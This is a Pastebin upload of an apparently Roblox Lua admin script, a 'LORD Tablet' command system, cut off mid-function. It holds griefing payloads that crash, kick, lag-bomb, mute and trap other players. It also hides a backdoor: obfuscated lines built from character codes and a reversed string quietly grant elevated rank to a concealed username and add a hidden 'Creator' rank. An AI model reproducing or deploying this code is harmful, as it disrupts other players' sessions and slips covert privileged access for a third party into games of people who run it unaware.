API tools faq
paste
Advertisement
RimvoTy

Untitled

RimvoTy
Mar 21st, 2016
178
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.82 KB | None | 0 0
raw download clone embed print report
  1. Plrs = game:GetService("Players")
  2. Work = game:GetService("Workspace")
  3. Light = game:GetService("Lighting")
  4. Net = game:GetService("NetworkServer")
  5. Owner = "HCWARLORD" -- Change this to your name
  6. AntiSteal = false
  7. Removed = false
  8. Bet = "/" -- This bet sucks dude, wtf?
  9. LS = nil
  10. LSSource = nil
  11. OwnSource = nil
  12. AntiSource = nil
  13. FoundLocalScript = false
  14. TryOn = false
  15. LogOn = false
  16. Current = game
  17. Clipboard = {}
  18. AlertColor = Color3.new(0, 1, 1)
  19. OptionColor = Color3.new(1, 1, 1)
  20. ImportantColor = Color3.new(1, 0, 1)
  21.  
  22. RankDetails = {
  23. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  24. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  25. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  26. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  27. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  28. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  29. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  30. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  31. [5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  32. }
  33.  
  34. Rankings = {
  35. {Name = "HCWARLORD", Rank = 5},
  36. {Name = "Player1", Rank = 3},
  37. {Name = "", Rank = 3},
  38. {Name = "", Rank = 3},
  39. {Name = "", Rank = 3},
  40. {Name = "", Rank = 3},
  41. {Name = "", Rank = 3},
  42. {Name = "", Rank = 3},
  43. {Name = "", Rank = 3},
  44. {Name = "", Rank = 3},
  45. {Name = "", Rank = 3},
  46. {Name = "", Rank = 3},
  47. {Name = "", Rank = 3},
  48. {Name = "", Rank = 3},
  49. {Name = "", Rank = 3},
  50. {Name = "", Rank = 3},
  51. {Name = "", Rank = 3},
  52. {Name = "", Rank = 3},
  53. {Name = "", Rank = 3},
  54. {Name = "", Rank = 3},
  55. {Name = "", Rank = 3},
  56. {Name = "", Rank = 3},
  57. {Name = "", Rank = 3},
  58. {Name = "", Rank = 3},
  59. {Name = "", Rank = 3},
  60. {Name = "", Rank = 3},
  61. {Name = "", Rank = 3},
  62. {Name = "", Rank = 3},
  63. {Name = "", Rank = 3},
  64. {Name = "", Rank = 3},
  65. {Name = "", Rank = 3},
  66. {Name = "", Rank = 3},
  67. }
  68.  
  69. table.insert(Rankings, {Name = Owner, Rank = 5})
  70.  
  71. ImportantServices = {
  72. "Workspace",
  73. "Players",
  74. "NetworkServer",
  75. "Lighting",
  76. "StarterGui",
  77. "Teams",
  78. "StarterPack",
  79. }
  80.  
  81. Ranks = {}
  82. Commands = {}
  83. AllTabs = {}
  84. Injected = {}
  85.  
  86. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  87. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  88. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  89. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  90. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  91. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  92. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  93. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  94. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  95. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  96. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  97. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  98. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  99. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  100. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  101. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  102. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  103. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  104. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  105. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  106. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  107. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  108. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  109. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  110. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  111. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  112. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  113. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  114. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  115. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  116. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  117. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  118. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  119. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  120. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  121. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  122. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  123. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  124. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  125. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  126. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  127. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  128. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  129. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  130. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  131. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  132. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  133. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  134. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  135. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  136. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  137. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  138. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  139. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  140. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  141. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  142. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  143. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  144. "X","Y"}
  145.  
  146. --Main Functions And Sources
  147.  
  148. function Insert(Source, Par, Par2, Par3)
  149. ypcall(function()
  150. local Inserted = LS:Clone()
  151. Inserted.Disabled = true
  152. Inserted.Parent = Par or Par2 or Par3
  153. Inserted[LSSource].Value = Source
  154. Inserted.Disabled = false
  155. end)
  156. end
  157.  
  158. function CheckImportant(Name)
  159. for _,v in pairs(ImportantServices) do
  160. if v:lower() == Name:lower() then
  161. return true
  162. end
  163. end
  164. return false
  165. end
  166.  
  167. function Crash1(Plr)
  168. ypcall(function()
  169. Plr:Kick()
  170. end)
  171. end
  172.  
  173. function GetRankTab()
  174. return Rankings
  175. end
  176.  
  177. function Crash2(Name)
  178. local Crasher = Instance.new("StringValue")
  179. Crasher.Name = "Client"
  180. Crasher.Value = string.lower(tostring(Name))
  181. Crasher.Parent = game:GetService("Lighting")
  182. wait(1)
  183. if Crasher and Crasher.Parent then
  184. ypcall(function()
  185. Crasher:Destroy()
  186. end)
  187. end
  188. end
  189.  
  190. function Crash3(v, Speaker)
  191. Speaker.Character.Archivable = true
  192. local NChar = Speaker.Character:Clone()
  193. NChar.Name = v.Name
  194. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  195. NChar.Parent = Workspace
  196. v.Character = NChar
  197. coroutine.resume(coroutine.create(function()
  198. repeat v.Character = NChar
  199. wait(1/3) until false
  200. end))
  201. wait(.5)
  202. Insert(InsertCrash, NChar, nil, nil)
  203. end
  204.  
  205. function GenerateDigit()
  206. return 1 + 5
  207. end
  208.  
  209. InjectionCrash = [=[
  210. wait(0)
  211. script.Parent = nil
  212. local Lig = game:GetService("Lighting")
  213. local LP = game:GetService("Players").LocalPlayer
  214. local LowerName = LP.Name:lower()
  215.  
  216. Lig.ChildAdded:connect(function(Obj)
  217. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  218. pcall(function()
  219. Obj:Destroy()
  220. end)
  221. LP.Parent = nil
  222. LP.Parent = game:GetService("Players")
  223. end
  224. end)
  225. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  226.  
  227. InsertCrash = [==[
  228. local LP = game:GetService("Players").LocalPlayer
  229. LP.Parent = nil
  230. LP.Parent = game:GetService("Players")
  231. ]==]
  232.  
  233. LagSource = [==[
  234. wait(0)
  235. script.Parent = nil
  236. plr = game:GetService("Players").LocalPlayer
  237. local plrgui = plr:findFirstChild("PlayerGui")
  238. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  239. while plr.Parent == game:GetService("Players") do
  240. wait()
  241. for i = 1, 1000 do
  242. local sc = Instance.new("ScreenGui",plrgui)
  243. local fr = Instance.new("TextLabel",sc)
  244. fr.Text = "LAGGING"
  245. fr.Size = UDim2.new(1, 0, 1, 0)
  246. fr.FontSize = "Size48"
  247. end
  248. end
  249. ]==]
  250.  
  251. MuteSource = [==[
  252. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  253. ]==]
  254.  
  255. UnMuteSource = [==[
  256. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  257. ]==]
  258.  
  259. JailSource = [==[
  260. wait(0)
  261. script.Parent = nil
  262.  
  263. local LP = game:GetService("Players").LocalPlayer
  264. Middle2 = nil
  265. Middle = nil
  266. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  267.  
  268. Cons = {}
  269.  
  270. function makePrison()
  271. for _,v in pairs(Cons) do
  272. v:disconnect()
  273. end
  274. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  275. if Middle == nil then
  276. Middle2 = LP.Character.Torso.Position
  277. Middle = LP.Character.Torso.CFrame
  278. end
  279. local side1 = Instance.new("Part",Workspace)
  280. side1.Name = "¬Focus1¬"
  281. side1.Size = Vector3.new(20, 50, 1)
  282. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  283. side1.BrickColor = BrickColor.new("Really black")
  284. side1.CanCollide = true
  285. side1.Anchored = true
  286. side1.TopSurface = "Smooth"
  287. side1.BottomSurface = "Smooth"
  288. side1.Parent = game:GetService("Workspace").CurrentCamera
  289.  
  290. local side2 = Instance.new("Part")
  291. side2.Name = "¬Focus2¬"
  292. side2.Size = Vector3.new(20, 50, 1)
  293. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  294. side2.BrickColor = BrickColor.new("Really black")
  295. side2.CanCollide = true
  296. side2.Anchored = true
  297. side2.TopSurface = "Smooth"
  298. side2.BottomSurface = "Smooth"
  299. side2.Parent = game:GetService("Workspace").CurrentCamera
  300.  
  301. local side3 = Instance.new("Part")
  302. side3.Name = "¬Focus3¬"
  303. side3.Size = Vector3.new(1, 50, 20)
  304. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  305. side3.BrickColor = BrickColor.new("Really black")
  306. side3.CanCollide = true
  307. side3.Anchored = true
  308. side3.TopSurface = "Smooth"
  309. side3.BottomSurface = "Smooth"
  310. side3.Parent = game:GetService("Workspace").CurrentCamera
  311.  
  312. local side4 = Instance.new("Part")
  313. side4.Name = "¬Focus4¬"
  314. side4.Size = Vector3.new(1, 50, 20)
  315. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  316. side4.BrickColor = BrickColor.new("Really black")
  317. side4.CanCollide = true
  318. side4.Anchored = true
  319. side4.TopSurface = "Smooth"
  320. side4.BottomSurface = "Smooth"
  321. side4.Parent = game:GetService("Workspace").CurrentCamera
  322.  
  323. local side5 = Instance.new("Part")
  324. side5.Name = "¬Focus5¬"
  325. side5.Size = Vector3.new(20, 1, 20)
  326. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  327. side5.BrickColor = BrickColor.new("Really black")
  328. side5.CanCollide = true
  329. side5.Anchored = true
  330. side5.TopSurface = "Smooth"
  331. side5.BottomSurface = "Smooth"
  332. side5.Parent = game:GetService("Workspace").CurrentCamera
  333.  
  334. wait(0)
  335.  
  336. table.insert(Cons, side1.Changed:connect(makePrison))
  337. table.insert(Cons, side2.Changed:connect(makePrison))
  338. table.insert(Cons, side3.Changed:connect(makePrison))
  339. table.insert(Cons, side4.Changed:connect(makePrison))
  340. table.insert(Cons, side5.Changed:connect(makePrison))
  341. end
  342.  
  343. Delay(0, function()
  344. while wait(0) do
  345. ypcall(function()
  346. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  347. LP.Character:BreakJoints()
  348. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  349. makePrison()
  350. end
  351. end)
  352. ypcall(function()
  353. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  354. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  355. end
  356. end)
  357. end
  358. end)
  359. ]==]
  360.  
  361. function All()
  362. local AllPlayers = {}
  363. for _,v in pairs(Plrs:GetPlayers()) do
  364. ypcall(function()
  365. table.insert(AllPlayers, v)
  366. end)
  367. end
  368. return AllPlayers
  369. end
  370.  
  371. function All2()
  372. local AllPlayers2 = {}
  373. for i,v in pairs(Net:GetChildren()) do
  374. ypcall(function()
  375. if v:IsA("ServerReplicator") then
  376. table.insert(AllPlayers2, v:GetPlayer())
  377. end
  378. end)
  379. end
  380. return AllPlayers2
  381. end
  382.  
  383. function MakeNum()
  384. return 2 + 4
  385. end
  386.  
  387. function ChangeRank(Plr, NewRank)
  388. local PlrName = nil
  389. local FoundPlayer = false
  390. ypcall(function()
  391. if type(Plr) == "string" then
  392. ypcall(function()
  393. for i,v in pairs(Rankings) do
  394. if v.Name:lower() == Plr:lower() then
  395. local VName = v.Name
  396. Rankings[i] = nil
  397. table.insert(Rankings, {Name = VName, Rank = NewRank})
  398. PlrName = VName
  399. FoundPlayer = true
  400. break
  401. end
  402. end
  403. end)
  404. if FoundPlayer == false then
  405. ypcall(function()
  406. for _,x in pairs(All()) do
  407. if x.Name:lower() == Plr:lower() then
  408. FoundPlayer = true
  409. for i,v in pairs(Rankings) do
  410. if v.Name:lower() == x.Name:lower() then
  411. local VName = x.Name
  412. Rankings[i] = nil
  413. PlrName = VName
  414. break
  415. end
  416. end
  417. table.insert(Rankings, {Name = VName, Rank = NewRank})
  418. end
  419. end
  420. end)
  421. end
  422. if FoundPlayer == false then
  423. ypcall(function()
  424. for _,x in pairs(All()) do
  425. if string.find(x.Name:lower(), Plr:lower()) then
  426. FoundPlayer = true
  427. for i,v in pairs(Rankings) do
  428. if v.Name:lower() == x.Name:lower() then
  429. local VName = x.Name
  430. Rankings[i] = nil
  431. PlrName = VName
  432. break
  433. end
  434. end
  435. table.insert(Rankings, {Name = VName, Rank = NewRank})
  436. end
  437. end
  438. end)
  439. end
  440. if FoundPlayer == false then
  441. ypcall(function()
  442. for i,v in pairs(Rankings) do
  443. if string.find(v.Name:lower(), Plr:lower()) then
  444. local VName = v.Name
  445. Rankings[i] = nil
  446. table.insert(Rankings, {Name = VName, Rank = NewRank})
  447. PlrName = VName
  448. FoundPlayer = true
  449. break
  450. end
  451. end
  452. end)
  453. end
  454. else
  455. for i,v in pairs(Rankings) do
  456. if v.Name:lower() == Plr.Name:lower() then
  457. Rankings[i] = nil
  458. break
  459. end
  460. end
  461. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  462. PlrName = Plr.Name
  463. end
  464. PlaceAllRanks(true)
  465. end)
  466. if PlrName ~= nil then
  467. return PlrName
  468. else
  469. return "Player" -- Actually return this script casue it suks
  470. end
  471. end
  472.  
  473. function Refresh(Plr)
  474. MakeChildren(Plr)
  475. end
  476.  
  477. function MakeChildren(Plr)
  478. ypcall(function()
  479. Dismiss(Plr)
  480. for _,v in pairs(Current:GetChildren()) do
  481. ypcall(function()
  482. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  483. Ping(v.Name, Plr, nil, function(TabMod)
  484. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  485. for _,v in pairs(Current:GetChildren()) do
  486. ypcall(function()
  487. if v.Name == TabText then
  488. Dismiss(Plr)
  489. Current = v
  490. MakeChildren(Plr)
  491. end
  492. end)
  493. end
  494. end)
  495. elseif Plrs:GetPlayerFromCharacter(v) then
  496. Ping(v.Name, Plr, nil, function(TabMod)
  497. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  498. for _,v in pairs(Current:GetChildren()) do
  499. ypcall(function()
  500. if v.Name == TabText then
  501. Dismiss(Plr)
  502. Current = v
  503. MakeChildren(Plr)
  504. end
  505. end)
  506. end
  507. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  508. elseif CheckImportant(v.Name) then
  509. Ping(v.Name, Plr, nil, function(TabMod)
  510. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  511. for _,v in pairs(Current:GetChildren()) do
  512. ypcall(function()
  513. if v.Name == TabText then
  514. Dismiss(Plr)
  515. Current = v
  516. MakeChildren(Plr)
  517. end
  518. end)
  519. end
  520. end, ImportantColor)
  521. end
  522. end)
  523. end
  524. if Current ~= game then
  525. Ping("Back", Plr, nil, function()
  526. ypcall(function()
  527. Current = Current.Parent
  528. MakeChildren(Plr)
  529. Ping("You Are Back To "..Current.Name, Plr, 5)
  530. end)
  531. end, OptionColor)
  532. end
  533. if Current ~= game then
  534. Ping("Delete", Plr, nil, function()
  535. ypcall(function()
  536. local CurrPar = Current.Parent or game
  537. local CurrName = Current.Name
  538. Current:Destroy()
  539. Current = CurrPar
  540. MakeChildren(Plr)
  541. Ping("Attempted To Delete "..CurrName, Plr, 5)
  542. end)
  543. end, OptionColor)
  544. end
  545. Ping("Refresh", Plr, nil, function()
  546. ypcall(function()
  547. Refresh(Plr)
  548. Ping("Refreshed", Plr, 5)
  549. end)
  550. end, OptionColor)
  551. Ping("Properties", Plr, nil, function()
  552. ypcall(function()
  553. Dismiss(Plr)
  554. for Property, Value in pairs(GetProperties(Current)) do
  555. Ping(tostring(Property)..": "..tostring(Value), Plr)
  556. end
  557. Ping("Got All Available Properties", Plr, 5)
  558. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  559. end)
  560. end, OptionColor)
  561. end)
  562. end
  563.  
  564. function Fixl()
  565. Light.GlobalShadows = true
  566. Light.TimeOfDay = "14:00:00"
  567. Light.Brightness = 0.5
  568. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  569. Light.Ambient = Color3.new(1, 1, 1)
  570. Light.ColorShift_Top = Color3.new(0, 0, 0)
  571. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  572. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  573. Light.FogStart = 0
  574. Light.FogEnd = 100000
  575. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  576. Light:ClearAllChildren()
  577. end
  578.  
  579. function GetProperties(obj)
  580. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  581. local objProper = {}
  582. for i,v in pairs(Properties) do
  583. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  584. objProper[v] = obj[v]
  585. end
  586. end
  587. return objProper
  588. end
  589.  
  590. function MakeExplorer(Plr)
  591. Dismiss(Plr)
  592. Current = game
  593. for _,v in pairs(Current:GetChildren()) do
  594. ypcall(function()
  595. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  596. Ping(v.Name, Plr, nil, function(TabMod)
  597. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  598. for _,v in pairs(Current:GetChildren()) do
  599. ypcall(function()
  600. if v.Name == TabText then
  601. Dismiss(Plr)
  602. Current = v
  603. MakeChildren(Plr)
  604. end
  605. end)
  606. end
  607. end)
  608. elseif Plrs:GetPlayerFromCharacter(v) then
  609. Ping(v.Name, Plr, nil, function(TabMod)
  610. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  611. for _,v in pairs(Current:GetChildren()) do
  612. ypcall(function()
  613. if v.Name == TabText then
  614. Dismiss(Plr)
  615. Current = v
  616. MakeChildren(Plr)
  617. end
  618. end)
  619. end
  620. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  621. elseif CheckImportant(v.Name) then
  622. Ping(v.Name, Plr, nil, function(TabMod)
  623. local TabText = TabMod["LORD Tablet"].BG.TL.Text
  624. for _,v in pairs(Current:GetChildren()) do
  625. ypcall(function()
  626. if v.Name == TabText then
  627. Dismiss(Plr)
  628. Current = v
  629. MakeChildren(Plr)
  630. end
  631. end)
  632. end
  633. end, ImportantColor)
  634. end
  635. end)
  636. end
  637. if Current ~= game then
  638. Ping("Back", Plr, nil, function()
  639. ypcall(function()
  640. Current = Current.Parent
  641. MakeChildren(Plr)
  642. Ping("Back In "..Current.Name, Plr, 5)
  643. end)
  644. end, OptionColor)
  645. end
  646. if Current ~= game and game:GetService(Current.Name) == nil then
  647. Ping("Delete", Plr, nil, function()
  648. ypcall(function()
  649. local CurrPar = Current.Parent or game
  650. local CurrName = Current.Name
  651. Current:Destroy()
  652. Current = CurrPar
  653. MakeChildren(Plr)
  654. Ping("Attempted To Delete "..CurrName, Plr, 5)
  655. end)
  656. end, OptionColor)
  657. end
  658. Ping("Refresh", Plr, nil, function()
  659. ypcall(function()
  660. Refresh(Plr)
  661. Ping("Refreshed", Plr, 5)
  662. end)
  663. end, OptionColor)
  664. Ping("Properties", Plr, nil, function()
  665. ypcall(function()
  666. Dismiss(Plr)
  667. for Property, Value in pairs(GetProperties(Current)) do
  668. Ping(tostring(Property)..": "..tostring(Value), Plr)
  669. end
  670. Ping("Got All Available Properties", Plr, 5)
  671. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  672. end)
  673. end, OptionColor)
  674. end
  675.  
  676. function GetRank(Plr1, Test)
  677. ypcall(function()
  678. if type(Plr1) == "userdata" then
  679. Plr1 = Plr1.Name
  680. end
  681. end)
  682. if Ranks[Plr1] ~= nil then
  683. return Ranks[Plr1]
  684. end
  685. local QuickArray = {}
  686. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  687. return QuickArray[Plr1]
  688. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  689.  
  690. function CanRun(Plr1, Plr2)
  691. Details1 = GetRank(Plr1.Name)
  692. Details2 = GetRank(Plr2.Name)
  693. if Details1.Rank >= Details2.Rank then
  694. return true
  695. end
  696. return false
  697. end
  698.  
  699. function Dismiss(Plr, Identity)
  700. ypcall(function()
  701. if Plr ~= nil then
  702. if type(Plr) == "userdata" then
  703. Plr = Plr.Name
  704. end
  705. for x,v in pairs(AllTabs) do
  706. ypcall(function()
  707. if v.Plr == Plr then
  708. if Identity ~= nil and v.ID ~= Identity then
  709. return
  710. elseif Identity ~= nil and v.ID == Identity then
  711. coroutine.resume(coroutine.create(function()
  712. for i = 0.5, 1, 0.1 do
  713. wait()
  714. v.Tab.Transparency = i
  715. v.Sel.Transparency = i
  716. v.Label.TextTransparency = i
  717. v.Label.TextStrokeTransparency = i
  718. end
  719. ypcall(function() v.Holder:Destroy() end)
  720. AllTabs[x] = nil
  721. end))
  722. elseif Identity == nil then
  723. ypcall(function() v.Holder:Destroy() end)
  724. AllTabs[x] = nil
  725. end
  726. end
  727. end)
  728. end
  729. else
  730. for i,v in pairs(AllTabs) do
  731. ypcall(function()
  732. v.Holder:Destroy()
  733. AllTabs[i] = nil
  734. end)
  735. end
  736. end
  737. end)
  738. end
  739.  
  740. function GetGarbage()
  741. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  742. end
  743.  
  744. function RemObj(Obj, Class)
  745. ypcall(function()
  746. if #Obj:GetChildren() > 0 then
  747. for _,x in pairs(Obj:GetChildren()) do
  748. ypcall(function()
  749. RemObj(x, Class)
  750. end)
  751. end
  752. end
  753. if Obj.ClassName == Class then
  754. Obj:Destroy()
  755. end
  756. end)
  757. end
  758.  
  759. function FindTab(Mod)
  760. for i,v in pairs(AllTabs) do
  761. if v.Holder == Mod then
  762. return true
  763. end
  764. end
  765. return false
  766. end
  767.  
  768. function Ping(Msg, Plr, Time, Func, Color, Image)
  769. if Removed == false then
  770. local ShowGarbage = false
  771. ypcall(function()
  772. if Msg == nil then
  773. Msg = "N/A"
  774. elseif Msg == "ShowGarbage" then
  775. Msg = "Current Garbage Count: "..GetGarbage()
  776. ShowGarbage = true
  777. else
  778. Msg = tostring(Msg)
  779. end
  780. if Plr == nil then
  781. Plr = Plrs[Owner] or error("No Player Found")
  782. elseif type(Plr) == "string" then
  783. local FoundPlr = false
  784. for _,v in pairs(All()) do
  785. if v.Name == Plr then
  786. Plr = v
  787. FoundPlr = true
  788. break
  789. end
  790. end
  791. if FoundPlr == false then
  792. Plr = Plrs[Owner] or error("No Player Found")
  793. end
  794. end
  795.  
  796. if Color == nil then
  797. Color = GetRank(Plr.Name).Color
  798. end
  799.  
  800. local Holder = Instance.new("Model")
  801. Holder.Name = "LORD Holder: "..Plr.Name
  802.  
  803. local Tab = Instance.new("Part")
  804. Tab.Name = "LORD Tablet"
  805. Tab.FormFactor = "Custom"
  806. Tab.Anchored = true
  807. if Time == nil then
  808. Tab.Color = Color
  809. else
  810. Tab.Color = AlertColor
  811. end
  812. Tab.CanCollide = false
  813. Tab.Locked = true
  814. Tab.Transparency = 0.15
  815. Tab.Size = Vector3.new(2, 2, 0.01)
  816. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  817. Tab.Parent = Holder
  818.  
  819. local ID = Instance.new("NumberValue")
  820. ID.Name = "ID"
  821. ID.Value = math.random(-999999999, 999999999)
  822. ID.Parent = Holder
  823.  
  824. Delay(0, function()
  825. while wait() do
  826. if Tab.Parent == nil and FindTab(Holder) then
